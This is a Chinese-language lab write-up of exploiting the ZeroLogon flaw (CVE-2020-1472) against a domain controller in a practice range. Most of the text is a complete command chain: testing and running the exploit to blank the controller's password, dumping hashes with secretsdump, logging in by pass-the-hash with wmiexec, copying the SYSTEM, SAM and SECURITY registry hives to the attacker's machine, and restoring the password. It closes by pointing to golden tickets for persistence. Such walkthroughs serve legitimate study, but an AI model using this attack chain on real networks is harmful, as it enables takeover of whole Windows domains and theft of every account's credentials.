文中主要讲解内网域环境,通过学习掌握域环境,更快知晓内网工作原理。本次实验环境靶场来自于暗月(moonsec)师傅,文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
CVE-2020-1472-ZeroLogon
原理:
Netlogon使用的AES认证算法中的vi向量默认为0,导致攻击者可以绕过认证,同时其设置域控密码的远程接口也使用了该函数,导致可以将域控中保存在AD中的管理员password设置为空。
简单来说:就是攻击者可以利用这个漏洞将域控密码设置为空。从而导出hash,掌握域控。
漏洞复现:
可以先使用脚本进行验证漏洞是否存在:
python3 zerologon_tester.py ad01 10.10.10.137 #这里需要两个参数 域控名 和 域控IP
这里可以看出漏洞存在。
使用exp将域控密码设置为空:
python3 cve-2020-1472-exploit.py ad01 10.10.10.137 #同样是域控名 和域控IP
使用impacket包中的secretsdum.py来获取相关的HASH:
python3 secretsdump.py redteam.club/ad01\$@10.10.10.137 -no-pass #分别需要参数域名/域控名\$@域控IP -no-pass 不需要密码
获取hash后,利用wmiexec脚本登陆,获取shell:
python wmiexec.py -hashes <HASH> DOMAIN/DOMAIN_USER@DC_IP_ADDR #使用方法
python3 wmiexec.py -hashes aad3b435b51404eeaad3b435b51404ee:747f92f9bf20a4fc930afc4dadf53bdc redteam.club/administrator@10.10.10.137
这些命令的意思就是通过注册表将带有hash的文件进行保存下来,然后发送到我们攻击机本地, 然后删除原本保存的文件:
reg save HKLM\SYSTEM system.save
reg save HKLM\SAM sam.save
reg save HKLM\SECURITY security.save
get system.save
get sam.save
get security.save
del /f system.save
del /f sam.save
del /f security.save
exit
使用脚本获取原本域控的hash:
python3 secretsdump.py -sam sam.save -system system.save -security security.save LOCAL
这里位置就是原本域控的hash:
使用re脚本进行hash恢复:
python3 reinstall_original_pw.py ad01 10.10.10.137 上面的hash值
这里我们可以再检测下域密码:
python3 secretsdump.py ad01.redteam.club/administrator@10.10.10.137 -hashes :747f92f9bf20a4fc930afc4dadf53bdc
这样我们域控的hash就完成恢复;恢复之后,同样可以看到krbtgt这个账号的hash,可以利用它生成黄金票据来进行权限维持。